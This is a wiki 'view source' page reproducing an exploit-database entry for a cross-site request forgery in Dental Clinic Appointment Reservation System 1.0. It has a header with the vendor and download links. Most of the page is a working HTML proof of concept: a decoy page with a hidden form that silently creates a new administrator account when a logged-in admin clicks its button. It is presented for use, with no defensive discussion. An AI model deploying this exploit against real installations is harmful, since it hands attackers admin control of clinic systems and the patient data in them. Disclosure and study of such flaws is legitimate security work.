View source for Dental Clinic Appointment Reservation System 1.0 CSRF管理員帳號添加漏洞

==CSRF==
<pre>
# Exploit Title: Dental Clinic Appointment Reservation System 1.0 - Cross Site Request Forgery (Add Admin)
# Date: 15-05-2021
# Exploit Author: Reza Afsahi
# Vendor Homepage: https://www.sourcecodester.com/php/6848/appointment-reservation-system.html
# Software Link: https://www.sourcecodester.com/download-code?nid=6848&title=Dental+Clinic+Appointment+Reservation+System+in+PHP+with+Source+Code
# Version: 1.0
# Tested on: PHP 7.4.11 , Linux x64_x86


# --- Proof of concept --- #

# Vulnerable file : http://localhost/APR/admin/user.php

# Exploit:

<html>
<head>
   <title>Add Admin</title>
</head>
<body>
   <h1> Absolutely Not Vulnerable Site :D </h1>
<form method="POST" action="http://127.0.0.1/APR/admin/user.php">
   <input type="hidden" name="username" value="lol">
   <input type="hidden" name="password" value="321" >
   <button type="submit" name="submit">Click</button>
</form>
</body>
</html>
</pre>